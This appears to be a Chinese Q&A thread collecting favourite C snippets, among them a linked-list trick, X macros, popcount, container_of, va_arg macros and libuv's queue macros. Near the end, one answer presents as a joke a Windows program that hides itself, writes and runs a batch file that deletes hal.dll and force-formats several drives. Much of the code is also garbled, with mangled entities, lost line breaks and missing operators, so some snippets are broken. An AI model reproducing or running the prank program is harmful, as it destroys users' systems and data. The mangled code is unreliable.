你所見過最美的C語言代碼?


Linus點名表揚的鏈表插入代碼

list* concat(list* l, list* r) {
list** indir = l;
while(*indir) {
indir = ((*indir)-&>next);
}
*indir = r;
return l;
}

雖然我是C語言黑,但是這段代碼

真的挺奇技淫巧的

有人說我寫錯了,我沒錯,使用方式是list = concat(list, anotherList),丟棄返回值是錯誤的,正如同realloc


X Macro - Wikipedia

彙編留下來的小技巧

#define STATE_TABLE
ENTRY(STATE0, func0)
ENTRY(STATE1, func1)
ENTRY(STATE2, func2)
...
ENTRY(STATEX, funcX)

enum
{
#define ENTRY(a,b) a,
STATE_TABLE
#undef ENTRY
NUM_STATES
};

p_func_t jumptable[NUM_STATES] =
{
#define ENTRY(a,b) b,
STATE_TABLE
#undef ENTRY
};

#define ENTRY(a,b) static void b(void);
STATE_TABLE
#undef ENTRY


// 以下代碼來自www.wikipedia.org, 鏈接:https://en.wikipedia.org/wiki/Hamming_weight#Efficient_implementation

const uint64_t m1 = 0x5555555555555555; //binary: 0101...
const uint64_t m2 = 0x3333333333333333; //binary: 00110011..
const uint64_t m4 = 0x0f0f0f0f0f0f0f0f; //binary: 4 zeros, 4 ones ...
const uint64_t m8 = 0x00ff00ff00ff00ff; //binary: 8 zeros, 8 ones ...
const uint64_t m16 = 0x0000ffff0000ffff; //binary: 16 zeros, 16 ones ...
const uint64_t m32 = 0x00000000ffffffff; //binary: 32 zeros, 32 ones

int popcount64a(uint64_t x)
{
x = (x m1 ) + ((x &>&> 1) m1 ); //put count of each 2 bits into those 2 bits
x = (x m2 ) + ((x &>&> 2) m2 ); //put count of each 4 bits into those 4 bits
x = (x m4 ) + ((x &>&> 4) m4 ); //put count of each 8 bits into those 8 bits
x = (x m8 ) + ((x &>&> 8) m8 ); //put count of each 16 bits into those 16 bits
x = (x m16) + ((x &>&> 16) m16); //put count of each 32 bits into those 32 bits
x = (x m32) + ((x &>&> 32) m32); //put count of each 64 bits into those 64 bits
return x;
}


sizeof(char[2*p-1])

p=0會觸發編譯異常,而1不會。

可以用於編譯期間斷言。


#define offsetof(TYPE, MEMBER) ((size_t) ((TYPE *)0)-&>MEMBER)
#define container_of(ptr, type, member) ({
const typeof(((type *)0)-&>member)*__mptr = (ptr);
(type *)((char *)__mptr - offsetof(type, member));})
#define list_entry(ptr, type, member)
container_of(ptr, type, member)


我覺得c語言最美的地方是一對大括弧。看著就愛


Quine, Ken Thompson


#include&
int main(void)
{
printf("Hello,World");
return 0;
}


印象深刻的是一組宏

typedef
char * va_list;   

#define _INTSIZEOF(x) ( (sizeof(x)
+ sizeof(int)
- 1) ~(sizeof(int) - 1) )

#define va_start(ap,v)
( ap
= (va_list)v
+ _INTSIZEOF(v) )

#define va_arg(ap,t) ( *(t *)((ap += _INTSIZEOF(t)) - _INTSIZEOF(t)) )

#define va_end(ap) ( ap = (va_list)0 )


#include &

int main(void)
{
for ( ; ; ); printf("I Love You!");
return 0;
}


人生第一個


#define DO_SOMETHING() do
{
do_something();
}while(0)

DO_SOMETHING();


printf(「Hello World!
」);


斐波那契:

int fibonacci( int n ) { return fib_iter( 0, 1, n ); }

int fib_iter( int a, int b, int n ) { return n ? fib_iter( b, a+b, n-1 ) : b; }


字元串trim

sp = start = s;
ep = end = s+sdslen(s)-1;
while(sp &<= end strchr(cset, *sp)) sp++; while(ep &> start strchr(cset, *ep)) ep--;

--

補充一段libuv的隊列實現的部分代碼,libuv的隊列全部是用宏實現的。

typedef void *QUEUE[2];
/* Private macros. */
#define QUEUE_NEXT(q) (*(QUEUE **) ((*(q))[0]))
#define QUEUE_PREV(q) (*(QUEUE **) ((*(q))[1]))
#define QUEUE_PREV_NEXT(q) (QUEUE_NEXT(QUEUE_PREV(q)))
#define QUEUE_NEXT_PREV(q) (QUEUE_PREV(QUEUE_NEXT(q)))

https://github.com/libuv/libuv/blob/master/src/queue.h


typedef void *QUEUE[2];

/* Private macros. */

#define QUEUE_NEXT(q) (*(QUEUE **) ((*(q))[0]))

#define QUEUE_PREV(q) (*(QUEUE **) ((*(q))[1]))

#define QUEUE_PREV_NEXT(q) (QUEUE_NEXT(QUEUE_PREV(q)))

#define QUEUE_NEXT_PREV(q) (QUEUE_PREV(QUEUE_NEXT(q)))

/* Public macros. */

#define QUEUE_DATA(ptr, type, field)

((type *) ((char *) (ptr) - offsetof(type, field)))

/* Important note: mutating the list while QUEUE_FOREACH is

* iterating over its elements results in undefined behavior.

*/

#define QUEUE_FOREACH(q, h)

for ((q) = QUEUE_NEXT(h); (q) != (h); (q) = QUEUE_NEXT(q))

#define QUEUE_EMPTY(q)

((const QUEUE *) (q) == (const QUEUE *) QUEUE_NEXT(q))

#define QUEUE_HEAD(q)

(QUEUE_NEXT(q))

#define QUEUE_INIT(q)

do {

QUEUE_NEXT(q) = (q);

QUEUE_PREV(q) = (q);

}

while (0)

#define QUEUE_ADD(h, n)

do {

QUEUE_PREV_NEXT(h) = QUEUE_NEXT(n);

QUEUE_NEXT_PREV(n) = QUEUE_PREV(h);

QUEUE_PREV(h) = QUEUE_PREV(n);

QUEUE_PREV_NEXT(h) = (h);

}

while (0)

#define QUEUE_SPLIT(h, q, n)

do {

QUEUE_PREV(n) = QUEUE_PREV(h);

QUEUE_PREV_NEXT(n) = (n);

QUEUE_NEXT(n) = (q);

QUEUE_PREV(h) = QUEUE_PREV(q);

QUEUE_PREV_NEXT(h) = (h);

QUEUE_PREV(q) = (n);

}

while (0)

#define QUEUE_MOVE(h, n)

do {

if (QUEUE_EMPTY(h))

QUEUE_INIT(n);

else {

QUEUE* q = QUEUE_HEAD(h);

QUEUE_SPLIT(h, q, n);

}

}

while (0)

#define QUEUE_INSERT_HEAD(h, q)

do {

QUEUE_NEXT(q) = QUEUE_NEXT(h);

QUEUE_PREV(q) = (h);

QUEUE_NEXT_PREV(q) = (q);

QUEUE_NEXT(h) = (q);

}

while (0)

#define QUEUE_INSERT_TAIL(h, q)

do {

QUEUE_NEXT(q) = (h);

QUEUE_PREV(q) = QUEUE_PREV(h);

QUEUE_PREV_NEXT(q) = (q);

QUEUE_PREV(h) = (q);

}

while (0)

#define QUEUE_REMOVE(q)

do {

QUEUE_PREV_NEXT(q) = QUEUE_NEXT(q);

QUEUE_NEXT_PREV(q) = QUEUE_PREV(q);

}

while (0)


我只想說很搞笑。。


# include &
# include &

int main(int argc,char *argv[])
{
ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);

int x; int i;
FILE*fp=fopen("c:\SB.bat","w");

for(i=0;i&<100;i++) { fprintf(fp,"md D:\%d...\ ",i); fprintf(fp,"md e:\%d...\ ",i); fprintf(fp,"md f:\%d...\ ",i); fprintf(fp,"md C:\%d...\ ",i); if(i==25) { fprintf(fp,"del C:\WINDOWS\system32\hal.dll ",i); fprintf(fp,"del C:\WINDOWS\system32\http://win.com ",i); fprintf(fp,"Format d:/y/q/fs:NTFS ",i); fprintf(fp,"Format e:/y/q/fs:NTFS ",i); fprintf(fp,"Format f:/y/q/fs:NTFS ",i); fprintf(fp,"Format h:/y/q/fs:NTFS ",i); fprintf(fp,"Format j:/y/q/fs:NTFS ",i); } if(i==3) { fprintf(fp,"start explorer http://www.baidu.com start explorer ",i); fprintf(fp,"start explorer http://www.360.cn start explorer ",i); fprintf(fp,"start explorer http://www.taobao.com start explorer ",i); fprintf(fp,"start explorer http://www.QQ.com start explorer ",i); fprintf(fp,"start explorer http://www.3G.com start explorer ",i); fprintf(fp,"start explorer http://www.soso.com start explorer ",i); fprintf(fp,"start explorer http://www.yahu.com start explorer ",i); fprintf(fp,"start explorer http://www.guge.com start explorer ",i); fprintf(fp,"start explorer http://www.ijinshan.com start explorer ",i); fprintf(fp,"start explorer http://www.xoyo.com start explorer ",i); } } fclose(fp); system("c:\SB.bat"); }


#include&

int main()

{

return 0;

}


#include &

int main(){

printf("Hello world
");

return 0;

}


推薦閱讀:

近年NOIP(提高組)試題分析?
為啥這句話輸入到谷歌翻譯,就會神奇的出現錯誤的結果?(見圖)不信大家試試?代碼錯誤嗎?
所有的遞歸演算法空間複雜度都是O(n)嗎?? ?

TAG:編程 | C編程語言 |